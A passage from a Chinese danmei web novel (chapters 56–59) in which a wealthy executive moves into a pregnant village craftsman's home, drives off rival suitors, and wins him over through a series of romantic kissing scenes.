江之遇快步走进浴室,往镜子里看去,果然看到自己的嘴角和一侧的脸颊上糊了点南瓜粥。 他擦干净脸上的粥糊糊,很是羞窘地重新在餐桌前坐下:“对、对不起,我不知道,我以为……” “你以为我想对你做什么?”谢津延注视着他红红的脸。 清早的阳光浅亮,投进来的光束温柔。 男人秀美的脸庞浸在这样温润的光线下,染了红,谢津延指腹残留着脸颊软肉的触感。 终于长了些肉。 谢津延很轻地扯了下唇角,扬起一点愉悦的弧度:“我虽然不是什么正人君子,但还不至于这么禽兽,大清早吃饭的时候有这种想法。” 江之遇闹了个大脸红,很是羞窘,低下头,小声咕哝。 “……还不是因为你总说想亲我、抱我这样奇奇怪怪的话,把我也弄得奇怪的了。” “所以我觉得你可能不是直男。”谢津延慢条斯理往口中送粥,“直男不会被这些话影响。” “好了,你别说了。”江之遇眼神不自然地打断他,“等下你又要让我和你亲试试了,我不想和你亲,你咬人很痛,还总让我伸舌头。” 谢津延:“……” 刚才没火,现在有点被撩起来了。 明明眼前的男人说话才奇怪,行为举止有时候也旁若无人。 很容易害羞,却又好像很迟钝。 支支吾吾的,喜欢自己小声嘟囔,吐出的话又十分直白。 谢津延思绪一瞬飘远。 他那晚让他伸舌头了吗? 记忆模糊,只记得湿滑的触感,勾在舌头软软热热的。 蜜水很甜,像在吸食甜蜜的果酱,让他很是上瘾,就想全部舔遍。 谢津延眸色幽幽暗暗,再看眼前埋头吃饭,眼神闪躲,不怎么敢看他的男人。 水润唇瓣沾上汤汁,唇形漂亮,指腹抹上去的触感很软,隐隐闪过粉嫩的舌尖。 或许刚才那句话说早了,他此刻很想把他抱在桌子上。 热粥一同挤入。 蓝莓,蜜橙,不知道还能不能搅出那样甜腻的汁水。 第57章 第 57 章 亲 一顿早饭吃的两个人都神色怪异, 彼此也不知道对方在想什么。 从江之遇的角度,就觉得后面男人落在他身上的眼神让他十分不自在,仿佛下一秒就会被他按在墙上。 顶着这样的目光, 江之遇吃完了早饭。 之后, 看到男人坐到他平常用来临时办公的那张桌子前, 打开电脑。 江之遇正在给小兔子喂食, 半途抬起头, 见他似是不打算离开的样子, 有些疑惑。 “你不回公司吗?” 谢津延一副西装齐整,神情专注的模样,仿佛坐在自己的总裁办公室, 语气也沉敛认真。 “这段时间如果没有重要的事情我不打算回北城,宋秘书会让人把需要我签字的文件送过来。” “你的意思是你要住我这里了吗?”江之遇愣了愣, 有些惊讶。 还要让人把文件送过来, 他这是打算把自己这里当作他的异地办公地点了? 谢津延淡淡嗯声:“主要是我不放心黎清叙他们这些人,你一个人在家, 他们一定又会想方设法过来骚扰你, 太危险了。” “我怎么觉得你更危险……”江之遇嘟囔一句, 将一小片青菜叶送到小兔子的嘴边。 经过这几天的悉心喂养,十一更加适应这个新家了,不再没人的时候一只兔悄悄吃喂给它的食物,而是可以从江之遇的手中咬过他喂到嘴边的蔬菜叶和胡萝卜片。 这是已经开始熟悉他这个主人了。 江之遇还挺开心的,可是看到屋子里男人坐在电脑前八风不动的身影, 又有些苦恼。 他真的要打算待在自己这里吗? 哪有这样大一个集团的总裁天天往乡下跑, 这会儿干脆不回去了。 怎么和江之遇之前补这个世界的信息刷到的那些霸总小说和短剧里的总裁不太一样? 江之遇一边给小兔子喂食,清理着兔笼,一边在心里嘀咕, 同时想着要怎样让昭昭小叔回北城去。 之前时不时在自己这里留宿,也像现在这样异地办公,处理公司事务,江之遇没觉得有什么,只当一切是为了昭昭。 可现在知道他对自己有那样的心思,他就没办法忽视这个身影了。 心情正乱七八糟着。 院子里的门被再次敲响了。 江之遇还没来得及起身,就见昭昭小叔已经从电脑前离开,去开院子里的门了。 是黎少爷。 黎少爷今天倒没有空运玫瑰花过来,却不知从哪里采摘了一束新鲜的野花。 “昭昭养父,你说空运玫瑰花太浪费,所以我就从你们这里的田埂上给你采了些你平时插在花瓶里的花,你看看这次喜不喜欢。” “黎清叙,你是真不打算遮掩了是吧?”谢津延冷着脸望着院子门口的发小,语气像结了冰一样。 黎清叙扬了扬桃花眼,嘴角还带着一点淤青,却丝毫不影响他笑得斯文和煦:“跟你学的,既然已经摊了牌,没必要再藏着掖着,大家公平竞争,我猜你昨天一定被昭昭养父拒绝了。” 谢津延神情阴鸷,半晌冷声:“你就是这么当兄弟的,非要和我抢人?” 黎清叙眯了眯眼:“照这样说,我还觉得是你和我抢,明明一开始是你不负责任,在那张协议书上签字,也是我第一个来这里找到他。” 谢津延默言,脸色十分阴郁。 那纸协议确实是他心里挥之不去的痛,无论找什么样的理由都改变不了是他亲手在上面签了名字的事实。 然而很快,他扯起唇角,弯起讥讽的弧度:“你说的这些我认,不过可惜,我被拒绝,你同样不会有戏,因为那个男人是直男,不喜欢男人,他给孩子找后妈都不会找后爸,所以你可以走了。” “他不喜欢男人?”黎清叙总是弯着的桃花眼闪过诧异。 谢津延淡笑:“对,你也知道那天晚上我们两个是因为你们家的疏漏才发展成这样,他本质不喜欢男人,打算以后给宝宝找个后妈,所以除非你去变性,不然他不可能接受你。” 黎清叙:“……” 黎清叙斯文面上的表情露出一丝裂隙,随后又笑起来:“就算是这样,我不信你会无动于衷,什么都不做。” “那能怎么办?”谢津延状似无奈的口吻,“至少我还有一层孩子生父的关系在,为了宝宝,我可以忍,只要他过得好。” 黎清叙:“……” 竖了竖拇指:“你真大度。” 黎清叙捧了野花转身离开了。 他这位发小倒是有点让他“刮目相看”。 只走了一段路回过味,这一副把狗链子拴在身上随时朝过路人咬一口的恶犬模样,可不像是能忍得下去的。 不喜欢男人吗? 黎清叙扬了扬唇角。 掰弯直男更有趣了。 院子的门重新关上,江之遇清理完兔笼出来,望一眼门口:“是黎少爷吗?” 谢津延插上门栓,穿过葡萄藤架下的身影冷冽,面色阴鸷,却在对上这双看过来的清透眼眸后,神色放缓:“是他,我就说了,他们会想方设法来骚扰你,居心不良。” 江之遇看到了那束野花,也听到了黎少爷刚才在门口喊的话,踌躇道:“那你说了什么让他走了?” “我说你不喜欢男人,以后要给宝宝找后妈,让他不要再对你有想法。”谢津延倒是如实告知,没有丝毫隐瞒。 江之遇舒了一口气:“那就好。” 虽然还是不太相信黎少爷会对自己有那种心思,可为了避免造成什么误解,这样说明白也好。 不然总是往自己这里送花过来,他还真不知道要怎么应对。 江之遇回到屋子里给小兔子换水。 接着,就开始了日常去工具屋做木制小玩具拿去桑姨那里卖钱。 刚在工作台前坐了没多长时间,敲门声又一次响起。 这一次是祁少爷,问可不可以继续拍昨天没有拍完的视频。 “溪源乡有那么多可拍的,你为什么一定要在这一个地方拍?”谢津延半开着门,漆黑眼眸冷冷注视着这位一口一个之遇哥的发小。 祁焰有些心虚,视线不住往屋子里瞥,却被高大的身影堵得严严实实:“我只是想帮忙宣传一下之遇哥匠心独运的工匠精神,做非遗文化的弘扬。” 谢津延漠然看他:“我已经请了专业的摄影团队过来,配合你进行视频采录,你既然这么有觉悟,不如去挖掘溪源乡其他可弘扬的地方,乡民们一定会很感激你。” 祁焰:“……” 谢津延:“对了,你之遇哥不喜欢男人,是个直男,你也注意一下自己的分寸,被粉丝们知道你和别的男人有过于亲近的行为,你当初好不容易说服家里人进娱乐圈追的梦打算就此止步?” 祁焰愣了愣,握着手机转过身。 下一秒,眼前的木门被关上。 等回到借住在溪源乡的乡民居所,助理问他怎么这么快就回来了,祁焰猛地想起来。 之遇哥家里没有别人,就算他和之遇哥举止过密,又能被什么人知晓? 好你个谢津延,威胁我,竟然使这么下三滥的手段! 不过阿延说的没错,作为偶像,确实要对自己的事业和粉丝负责。 何况当初为了进娱乐圈,他是破除了很大的阻力才征得家里人的同意。 要为了一瞬的心动和贪念放弃自己的梦想吗? 祁焰陷入了片刻的迷茫。 祁少爷走后,小院重新归于宁静。 但没多久,敲门声又响了起来。 这一次,谢津延没去开门。 江之遇纳闷,怎么这次昭昭小叔坐在电脑前没有动? 他起身,朝屋子外走去:“要不我去看看吧,不一定是霍少爷,万一是小蓁姐或是其他乡民有什么事找我呢?” 谢津延平静放下手机:“没事,他已经走了。” “什么?”江之遇微微一怔,随后听到院子里的敲门声果然停了。 难道真的是霍少爷? “你给他发了什么?”江之遇注意到他刚才在手机上打字,疑似是给霍少爷发消息。 谢津延面不改色:“说我们俩昨晚闹了点矛盾,你身体不太舒服,现在还在床上睡觉,不方便见人。” “哦。”江之遇没去细想这句话有什么不对,只看了眼墙上的挂钟。 九点半,虽然他从来不会睡到这么晚才起来,不过如果能让霍少爷止步门前,他就当自己的身体不舒服了。 “现在你还觉得他们对你没有想法吗?”谢津延视线掠过他仰头看钟时一截修长漂亮的脖颈。 江之遇转头看他:“我只是想不明白,我有什么可被喜欢的呢?我一个乡下人,还是个怀了孕的男人,无论什么都和你们天差地别,我真不懂你们这些大少爷在想什么,口味这么怪异。” 谢津延:“……” 谢津延黑眸闪了闪,脑海里蓦地掠过和眼前这个男人在酒店走廊初次遇见的画面。 外面的雨已经停了,玻璃窗上蜿蜒着鎏金的水珠,铺着长毯的走廊静谧,宴会厅的喧嚣一瞬拉远。 他很是不适,衣服上洒了酒水和奶油蛋糕,被陌生的手指触碰到身上,反感,体内也有一股怪怪的感觉。 却在这时,有一道细软生怯的声音叫住他。 很好听的声音,虽然带着口音,但像山涧细流清澈地流淌过耳膜,又像被春日绵密的雨丝缠裹。 谢津延直到很长一段时间都认为,他那晚所有的异样,无论是羽毛一般刮过耳膜的酥痒。 还是像画笔在白皙手背勾出几笔黛峰的漂亮手指抓在自己胳膊上传递过来的星火烧灼的燥意。 所有一切,他都认为是发作在自己体内的药效带给他的错觉和躯体反应。 可如果真是这样,为什么他总忘不了一转头时对上的误闯入林中谨慎小鹿一样忐忑又期待的清透眼眸。 谢津延那晚很多记忆失真,可理智崩溃前的所有,他都记得清清楚楚。 明明紧张、害怕,已经察觉到危险的气息,还不忘关切问自己是不是哪里不舒服。 把他失踪多年的小侄子锲而不舍带回他身边。 不要他们家的答谢,还要把钱捐出去。 总是不按常理出牌。 胆怯又执着。 自己都处境艰难了,还总想着别人。 长得还很漂亮,衣着朴素,但又白又香。 手很巧,会做很多精巧的小玩意儿。 他身上有一种天然吸引他们这种人的气息。 除了在那张协议书上签字,没有及早认清自己的心意。 谢津延另一件后悔的事就是让他的这几个发小在自己家里见到这个男人。 让他们鬣狗嗅食一样环伺过来。 “你想知道为什么吗?” 阳光在地面上落下斑驳的影子,院子里葡萄藤叶清香,静谧的小院,只有他们两个人。 谢津延思绪拉回,注视着眼前人困惑不解的眼眸。 江之遇茫然一瞬:“为什么?” “你坐过来,我告诉你。”谢津延往椅凳旁边挪了挪,腾出一个空间。 他用来临时办公的是昭昭以前写作业的书桌,凳子是江之遇自己打的长条凳,方便江之遇有时候帮昭昭辅导作业。 虽然江之遇没有正经去过学校,但自学过很多课本知识,对养子小学三年级的课程手到擒来。 江之遇很是好奇,为什么昭昭小叔还有他这几个朋友会对自己产生异样的心思。 其实他更好奇男人为什么会喜欢男人。 他不自觉坐过去。 谢津延鼻尖钻入他身上淡淡好闻的草木清香,懵怔清透的眼眸也和自己拉近。 谢津延问:“没有人告诉你你是一个很美好的人吗?” 江之遇怔了怔,好像确实没有。 他遇到的人对他说过的最多的话是,他是一个老实本分的人。 勤劳,能干,是个好人。 适合踏踏实实过日子,但没有人愿意给他介绍女孩子。 “美好”这两个字眼,是江之遇第一次听到。 他不是很懂这两者之间的区别,摇摇头:“没有。” 谢津延告诉他:“在我们生活的圈层里,什么形形色色的人都有,越是上层圈,越因为漠视规则束缚,卑劣和丑陋之人越多。” “这种体会,岭生应该感触最深,事实上,只要在名利场上,几乎没有人能逃掉。” “所以像你这样的人就天然吸引我们这类人。” 江之遇:“?” 怎么越来越懵了。 “什么叫我这样的人?” 谢津延:“总之,你知道你是一个很美好的人就可以了,这种美好是无法用金钱、地位和学识去衡量的。” 江之遇:“我觉得你说得好玄乎。” 谢津延用了他经常对自己说的一句话:“你不懂,但你记得以后要多加防备他们。” 江之遇有些坐立难安。 他原打算在乡下平平淡淡过自己带娃养娃的日子的,怎么会招惹上这么几位大少爷? “可我还是不太明白男人有什么可喜欢的,都是一样的生理构造,不觉得尴尬吗?”江之遇嘀咕。 谢津延视线凝在他脸上:“其实以前我也不理解,但现在知道了。” 江之遇:“什么?” 谢津延:“你和我亲试试,说不定就能搞清楚。” “你、你怎么又扯到这上面了?”江之遇从座椅上站起身,脸一瞬间羞得通红。 谢津延抬眸:“我只是觉得你既然这么苦恼,不如确认一下,弄清楚也就不会纠结了,你可以放心去给宝宝找后妈。” “我还是觉得这个方式很奇怪。”江之遇的脸涨的通红,“哪有……” 纠结的话没有说出口,修长胳膊伸过来一把拉住他。 灼热的掌心圈住他的手腕,江之遇重心不稳,被扯到男人腿上坐下。 他屁股硌了一下,想问他又要干什么。 嘴唇被含住。 很温软的触感,带来一股江之遇第一次在走廊看到他从自己面前走过时,让他恍若回到以前居住的山间那种沉冽悠远的木质沉香气息。 江之遇不知道发生了什么,睁大双眸。 下一秒,这种沉冽的气息拉远,唇瓣上温热的触感也随之消失,仿佛蜻蜓点水一般。 江之遇很茫然,低头注视着近在咫尺的五官俊逸的脸。 离得近了,他面部的轮廓更加立体清晰。 眉峰削利,眼珠颜色很深,从摆着兰花的阳台前斜射进来的光落在他一半侧脸上。 朦胧光圈柔和他的眉弓、鼻梁,最后落在他薄薄的唇上。 刚才自己嘴上的温热就是从这里来的吗? “怎么样,排斥吗?”谢津延握着他的手腕,另一只手扣在他脖颈后的软肉上,手指插着细软的发丝。 江之遇很晕乎:“……你刚才亲我了?” 谢津延漆黑眼眸盯着他:“就亲了一下,都不算亲,只能算贴一下。” 江之遇区分不了他口中的“亲”和“贴”有什么分别,不解问:“有什么不同吗?” 谢津延就把他脑袋朝自己压下一点,在水润唇瓣上碰了一下:“这是贴。” 然后又在上面吸了一下,有明显吸吮亲吻的声音传到江之遇的耳膜,虽然只有短短一秒。 江之遇听他低沉磁性的嗓音勾着自己的呼吸:“这才是亲。” 江之遇脸一红,有些傻眼,被箍在腿上,好半天反应过来,热气一下冲到头顶,挣扎起来。 “你怎么突然就亲我了。” 谢津延揽住他,不让他乱动,隔着西裤布料贴着他的柔软,谢津延吸了一口气。 “你就说你刚才有没有排斥或是反感的感觉?” 江之遇脸红得快要滴血,却停止挣动,回忆了一下,随后羞愤道:“太快了,我不知道。” “那再试一下。” “还要试?”江之遇觉得自己的大脑像是炸了枚炮仗,被贴过的地方也像被火舌燎了一下。 谢津延:“你刚才说太快了,没有感受到,那我再试一下,这次慢一些。” “不了。”江之遇直起身,就要离开。 下一秒,“唔”了一声,他脑袋被压下,余音截在灼热的呼吸里。 江之遇瞪大眼睛。 像那天晚上男人挤进他唇齿间一样,震惊得忘了推开对方。 等记起这件事的时候,已经来不及了。 呼吸被夺走,他被有力的臂膀牢牢禁锢住,动弹不得,身上的力气也像是被吸噬掉,很快整个身体往下滑。 却被托住,修长手指挤进五指间,骨骼磨着指腹的薄茧,细细摩挲。 另一只手却扣着他的脖颈,把自己压在他唇上。 辗转,舔磨,很奇怪的感觉,头皮有些发麻,却无法思考,大脑空白一片,只听到嚅动水声。 谢津延看他被自己亲得一双清透漂亮的眼眸蒙了层水雾,迷离,手绵软地搭在自己肩上,呼着潮湿热气。 他在这瓣柔软唇肉上轻轻咬了下,有些无奈。 “还没伸舌头就这样了。” 第58章 第 58 章 “你对我有没有一点感觉…… 这句话几乎是贴着他的嘴唇说的。 低低的嗓音, 耳膜被揉,唇上酥酥麻麻的,又缠着热气, 鼻尖碰到鼻尖。 嘴唇触了细微的电流。 江之遇眼神迷离, 脑海里完全空白成一片, 又像是糊了浆糊, 不能思考, 身子轻飘飘的。 只感觉全身的血液都集中在了脸上, 唯一的知觉在和他交缠着灼热呼吸的唇缝间。 他不住地喘着气,大脑恍惚。 过了许久,理智渐渐回笼, 被抽空的力气也勉强回到了躯体内。 江之遇睁了睁晕上一层雾气的眼,看清眼前的景象。 真奇怪, 明明被亲的时候他是睁着眼的, 他坐在男人腿上,这么近的距离。 他们几乎贴在了一起, 可视野好像变得模糊, 听觉也失灵了, 所有声音都变得缥缈。 只有濡湿的水声异常清晰。 他怔愣了一会儿,盯着男人唇上的水痕。 白日,阳光透亮,清浅的光照在这道水痕上,从江之遇垂眸看去的视角, 拉成了一条银色丝线。 他用了十几秒的时间反应过来那是什么。 脸迅速爆红。 “你、我, 我们真亲了?” 谢津延脸上似是露出愉悦的表情,抱着他,只重复问道:“你排斥吗?这次我特地放慢了些。” 江之遇隽秀脸上的表情呆滞住, 被问住了。 “我……” 他仔细回忆了一下。 因为太过突然,江之遇其实一开始并没有反应过来,就觉得嘴唇忽然被什么柔软温热的东西含住。 和那晚被强势挤进口中,在口腔中肆掠搅弄完全不一样的感觉。 或许男人今天没有受药效支配,是在清醒的状态下,猝不及防,但温柔。 他当时模模糊糊的印象,这张唇看上去很薄情的样子,平日里吐出的话冷,讥诮,贴在唇上竟意外柔软,是软热的。 吸得他头皮发麻,嘴唇很痒。 江之遇形容不出这种感觉,他没和别人接过吻,不知道其他情侣之间接吻是什么感觉。 但内心的声音告诉他是不排斥的,也不反感。 可是这话他有点说不出口,太羞耻了。 他竟然被男人亲得浑身发软,要靠对方托着自己,身体才不会往下滑。 “我,我没感觉!”最后,江之遇听自己慌慌张张说了这么一句。 谢津延就盯着他闪躲的眼眸,似是在分辨他这句话的真实性,最后轻笑了下,得出结论:“没感觉就是不排斥。” “你?”江之遇很少见他笑,除了山底动工仪式那天他在台上不知是出于客套还是什么缘由,唇角弯起明显的弧度。 这还是江之遇第二次见他笑得这么愉悦,甚至不知道是不是江之遇的错觉,有一点餍足? 他还来不及细想自己为什么会生出这种想法,又听男人一本正经道:“下次我们再伸舌头试试,如果这种程度你还没有感觉,说明你可以接受男人。” “你!” 伸舌头? 江之遇简直不敢相信自己听到了什么。 “我就知道你有这种怪癖!” 他一把推开他,从他身上下来。 隐隐蹭到了什么,身体一僵,随后脸更红了。 “还有你这个动不动就上火的毛病,什么瘾,之前许大夫给你开的药你是不是没喝完?” 谢津延:“……” 总之这段时间的生活就是这样的。 昭昭小叔不肯走,每日和自己同住一个屋檐下。 一边防备他那几个朋友,不让他们进自己家的门,一边不断和自己试探直男的底线。 有时候是在厨房做饭的时候,他煲着汤,男人在旁边清洗蔬菜。 不知怎么的,也许是他的手在穿过清凉的水流时无意间蹭过他的手背。 反应过来,他已经被压在洗手台前和他接吻。 陶瓷罐里的汤翻滚着咕哝咕哝的声音,他被撬开牙关,唇缝挤进湿热的触感,被磨着嘴唇舔.弄。 有时候是在院子里给蔬菜浇水,他帮自己浇,浇着浇着,脸颊被掰过。 江之遇正疑惑,薄薄的唇印下来。 他被迫仰着头和他在飘着葡萄藤清香的院子里发出啾啾的水声。 渐渐的,江之遇好像已经习惯了这种唇齿间的触碰。 也有点习惯屋子里多出的这个人。 他偶尔会产生两个人在同居的错觉,他或许真的喜欢男人也说不定。 昭昭小叔只有在公司有重要事情的时候飞回北城,每次忙完,都会给自己带些什么过来。 先是他自己说的一百块钱三盆的植株,这次真没骗自己,他还特地跟宋秘书学了砍价。 其中有一盆江之遇不知道是什么花,昭昭小叔只说等长出枝叶开了花就能知道。 江之遇于是没再问,只看着自己的屋子、小院被渐渐地填满,到处是漂亮的绿植盆栽。 还有他又拎过来的一只小动物,花栗鼠。 憨态可掬,特别可爱,正好可以和已经能够在院子里蹦蹦跳跳玩耍的垂耳兔作伴。 再然后是两只可爱的小草龟,带过来后,江之遇自己根据乌龟的生活习性给它们做了个生态缸。 鹅暖石是昭昭小叔陪他一起去河边捡的,还有苔藓,用作假山的石块,各种水草植物。 他们甚至还去湖里采了些小睡莲。 得知那日他和霍少爷来家里找自己,看到祁少爷跟在自己身后,就是陪自己去湖里采摘荷叶。 他还帮祁少爷赶了蛇。 就是在这艘小木船上。 然后江之遇忽然就被昭昭小叔搂在船上和他亲。 船晃啊晃的。 他被男人吻得有些晕,也可能是船身晃动的关系,头顶上的日光灼烈。 昭昭小叔惩罚似的咬他的唇:“祁焰就是在这里缠着你的?” 江之遇眼睛迷蒙着,耳边是船底水流的哗哗声,眼前光晕朦胧。 他有点缺氧,吐着热气,茫然地点点头。 谢津延心里就像打翻了柠檬水一样,酸涩得不行。 那天是他们第一次尝试舌吻。 江之遇记得他刚点完头,就有什么湿滑的物件强势地挤了进来。 这段时间,他们两人一直止步于唇齿相碰的试探。 他不愿意,昭昭小叔就也没有更进一步。 可是这次,男人却直接把舌头伸了进来,修长手指捏着他的脸颊,湿滑卷住他的舌尖,重重吮吸。 那天,江之遇有一种自己要被吃掉的感觉。 他倒在男人怀里,船身悠悠地晃,他被捧着脸,舔.弄着口腔里的每一寸气息。 氧气被夺走,舌.根发紧发麻。 江之遇不知道是哪里惹到了他,他为什么会突然这样。 就只感觉他这次亲自己比每一次都凶,甚至连那晚都比不上。 江之遇心想,祁少爷怎么他了? 他神思恍惚地听着船底水流哗哗的声音,悠悠远远,和口中的水声交织在一起,分不清哪种。 灵魂似是被吸噬掉。 最后只能双眼失神地望着头顶的天空,视线随船身晃荡,总也无法聚焦。 还好周围是满湖碧绿的莲叶,遮挡住了旁人的视线,没有人看到他们。 等恢复神智,从木舟上下来,江之遇就不想理这个男人了。 “对不起,我错了。”谢津延追在他身后。 溪源乡的乡民已经习惯了谢氏集团的谢总常常待在他们村,出入之遇家。 甚至已经热络地不再喊他一声谢总,而是跟着喊一声“昭昭小叔”。 眼下看到他们俩从莲花湖那边走过来,高大俊逸的身影跟在纤瘦漂亮的身影后。 冷峻面庞上的表情似是小心翼翼,还有他们不知道是不是看错了的懊悔和忏悔。 村民们跟两人打了声招呼。 谢津延冲他们礼貌点点头,随后又大步追上去。 等走到了一个无人的地方,他一把拉住前方人的手。 “之遇。” 江之遇一下子顿住脚步。 过了许久,身形有些怔愣地转过去。 “你刚才叫我什么?” 谢津延黑眸闪烁,霞光映照的脸微微有些发热。 他也想染了踌躇似的,舌头有些僵迟:“……之遇,我早就想这样叫你的名字了。” 江之遇先是一愣,随后脸颊一点一点红起来。 没有忘记有个月夜,眼前的男人应酬完喝醉酒回来,在皎皎月色下趴在他身上呢喃着喊他之遇哥,之遇…… 那晚的事情之后谁也没有提起。 江之遇至今都不知道他那晚的事情知道多少,酒醒前戏谑自己的那一刻是装的还是怎样。 他只知道他叫自己的名字让自己感到很奇怪。 “你还是叫我昭昭养父吧。”江之遇语气不自然地说道。 “为什么?我们都这样了。”谢津延黑眸凝着他,似是不解。 江之遇也不知道为什么,小声道:“我不知道,我只感觉很奇怪,还、还有,我们怎样了?” “我们都亲这么多次了,刚才还舌吻了。” “我刚想说呢。”江之遇一瞬羞红了脸,“你干吗要在船上亲我,不知道随时会有人吗?要是被看见了怎么办。” “对不起,我刚才冲昏头了。”谢津延也很后悔。 “我一想到那天祁焰摇尾巴一样跟在你身后,你和他有说有笑,就特别嫉妒。” “他才认识你多久,就一口一个之遇哥,你还就让他这么叫你,对他也很亲昵,比对我好。” 江之遇听了他的话,很是意外:“你是说那天你脸色那么不好是因为你嫉妒?” 谢津延默了默,承认:“我不仅嫉妒他,我还嫉妒岭生,你们两人总是在工具屋独处,那次你给宝宝做的礼花炸开,窗外有烟花绽放,我看着你们两个人在那样梦幻的场景下,像结婚一样,我就嫉妒得发狂。” 礼花?梦幻?结婚? 江之遇回想了一下他口中说的景象,脸顿时涨的通红:“我怎么不记得这些,你是不是想多了,这怎么能和结婚联系起来。” “那你能让我叫你的名字吗?”谢津延问。 江之遇呆了呆,没想到他转变得这么快,有些跟不上他跳跃的思维:“怎么又扯到名字了?” 谢津延道:“因为你让祁焰这样叫你,就不肯让我叫,还有你们村的村民,我父母,随便什么人都能叫你的名字,怎么就我不行?” “我们都有孩子了,上过床,接过吻,今天还舌吻了,你为什么不能让我叫你的名字?” 江之遇被他问得懵住了。 尤其是他说的“上过床”和“接过吻”几个字,像几枚炮仗一样轰得他大脑嗡嗡的,让他大脑陷入了一瞬间无法思考的境况。 是啊,为什么不能呢? 江之遇无措地去揪自己的衣摆,这是他习惯性的一个小动作,每次踌躇紧张的时候就会这样。 上次他喝醉时自己就想过这个问题。 江之遇当时认为他们是昭昭的养父和小叔这样的关系,即使有一个孩子,他潜意识里也没有把他当养子小叔以外的人。 他以为他们的关系仅此而已,甚至让自己叫他的名字,江之遇不知道为什么也叫不出口。 就好像一旦叫了彼此的名字,破除“养父”和“小叔”这层联系,就会有什么发生变化。 一种让江之遇现在感到十分慌乱无措,甚至有些焦虑的变化。 “是因为昭昭吗?还是我的父母?”他不安的样子被谢津延看在眼里。 谢津延走过去抱住他:“如果你担心不知道怎么面对他们,我会解决,本来就是我的错,和你无关。” 男人眉目低敛,落日余晖下,他凌厉的五官线条被镀了层和任何时候都不同的柔和。 语气也前所未有的温柔,还有一丝乞求:“我只问你一句,你和我试了这么久,对我有没有一点感觉?哪怕一点也好。” “如果还是没有,我从今天起不再缠着你,会严格履行合约上的承诺,给你想要的生活。” 第59章 第 59 章 和我做 江之遇身形一僵, 怔怔地站在原地,像是被突然石化住了一样。 晚霞渐渐褪去,在远处的山峦涂抹出一条颜色渐变的彩色飘带。 不久前还让他感到视线朦胧, 大脑晕眩的灼烈日光变得黯淡, 太阳往半山腰下没去。 对他有没有一点感觉吗? 江之遇拧眉陷入了片刻的怔思, 失神望着远处的山峦。 不知道平静的生活是从什么时候开始被打破的。 他当着他几位朋友的面突然说喜欢自己那天? 还是乘坐直升飞机来来回回跑, 亦或是更早, 带昭昭出现在祠堂的那个月夜。 江之遇从来没想过以后会和这个男人再有联系。 他们两人就像两条相交线, 因为一场误会相交在一起,凝成一个点。 但很快就会各自向远方延伸,再也不会产生交集。 江之遇给自己设想的生活是, 好好地照顾自己和肚子里的宝宝,继续像在原来的山里那样勤勤恳恳劳作, 把自己的日子一点一点过好。 平凡平淡, 一个乡下普通人。 现在有了宝宝,生活有了期盼, 却也没想更多。 怎么也没想到他的世界会挤进来这样一个身影。 其实从一开始的时候, 江之遇除了感到意外和不自在, 并没有什么排斥反应。 甚至偶尔这个男人带着昭昭过来又离开时,江之遇会感到心里有一丝空落。 因为他没想过自己的生活也能这么热闹,虽然很多时候男人总是会对他说些莫名其妙的话,莫名其妙地堵他,做莫名其妙的事。 但不可否认, 江之遇心里不是没有一丝波动的。 尤其是这个男人每次在外面一副很冷很拽, 不近人情,可偶尔流露出的温和,与昭昭的相处, 会让他感受到一种向往的家庭的温馨。 江之遇以前一直觉得像昭昭小叔这样高高在上,骄矜冷漠的男人,内心一定也是这样的。 可是他私下里的居所是暖色调的,会帮他大哥大嫂带孩子,家里至今都还留有他小侄子走失前的玩具。 江之遇以前总想,这个男人带孩子真的不会把小朋友吓哭吗? 然而昭昭回家没多久就和这位小叔相处的很好。 昭昭戒备心那么强的一个小孩,后来却很喜欢第一眼见到就害怕得往自己身边缩的小叔。 他的聊天头像竟然是自己小侄子几个月大时的肉嘟嘟的小手,虽然最后迫于小侄子的压力换掉。 但江之遇还是有些意外。 还有上次来自己这里给溪源乡的乡民做回馈抽奖活动,让昭昭骑在他脖子上骑大马看热闹。 有那么一瞬,江之遇偏头看他们叔侄俩,不知道为什么,很喜欢这一幕。 他那时脑海里闪过一个念头,孩子如果能有这样一个爸爸也挺好的。 不过,下一秒就被乡民们喧哗热闹的声音驱散。 偶尔回想起,江之遇暗下决心。 等把宝宝生下来身体恢复好,他就努力锻炼,把自己练得结结实实的,让宝宝在他身上骑大马。 他也要轻而易举把宝宝举高高。 江之遇不知道这算不算对这个男人有一点感觉。 除此之外,拿图纸在自己面前给自己构想溪源乡的建设,和他畅想宝宝的未来。 用无比认真的神色和语气向他保证一切都会实现,会完善好。 那是第一次有人给他这样一个盛大的愿景,许下这么郑重的承诺。 江之遇说不清那时是怎样的感觉,只知道内心很是触动。 对未来更加充满了想象和期盼。 他亲自己时也不是一点感觉都没有。 虽然常常让自己无法招架,弄得他晕晕乎乎的,可是……不讨厌就是了。 “我知道了……” 空气中静默了良久。 在绚烂的光线渐渐转暗,山头描上黛影。 谢津延望着眼前男人陷入了持久的沉默当中。 抿着唇,秀气隽美的眉头像上次自己向他吐露心意时一样拧成一团,充满了苦恼和纠结。 果然还是不行吗? 他心头忽然涌入了巨大的失落,和远山沉下去的落日一样,一点一点往下坠。 分明在此之前他还对自己充满了自信,准确来说,他一贯如此,人生从来没有挫败。 谢津延总以为一切不会脱离自己的掌控。 他骄矜自傲,为达目的常常不择手段,也并不以为这样做有什么不对。 却在这一刻,感受到前所未有的挫败和狼狈。 他望着男人在碎金般的余晖下纠结成一团的脸,终于肯承认,自己每一次带给他的都是无尽的苦恼和纠葛。 无论是那晚的强迫,还是明明已经签了协议却又找各种理由插进他的生活。 还有那些自以为是的小把戏。 谢津延终于明白,这里不是名利场,他耍再多的心机和手段也赢不回一颗本就不属于他,也不爱他的心。 他再强迫和坚持也没用。 “一会儿把你送回家,把两只小龟的生态缸铺好我就离开。” 谢津延扯了扯唇角,牵扯起一抹无奈自嘲的笑意,尽量让自己的语气听起来没有异样。 可仍阻止不了心情不断下坠,被一双无形的手大力往下拉扯。 他只道:“从明天起,除了与这里建设项目的对接,我再不会像这样打扰你,纠缠你,更不会再强迫你。” “你和宝宝安心在这里生活,你希望我遵守的约定,我会一条一条全部做到。” 谢津延说完这些话,转身。 高大身躯被落日余晖在地面上拉下一道长长的影子,他也有这样苦涩的时刻。 江之遇怔怔地望着他落寞的身影。 霞光变成了淡粉色,只有靠近山头和地平线的地方还有较为明亮的光。 其余包括头顶,路边树荫,男人背过身去的身影,都开始被暮色笼罩。 他成了一个黑色的剪影,周身还有淡淡的光,却看不清他的表情。 只感受到一股无尽的寂寥,像逐渐隐下去的这束暗淡的余晖,再过不久就要被黑夜吞没。 江之遇揪住他的衣角:“不、不是一点没有。” 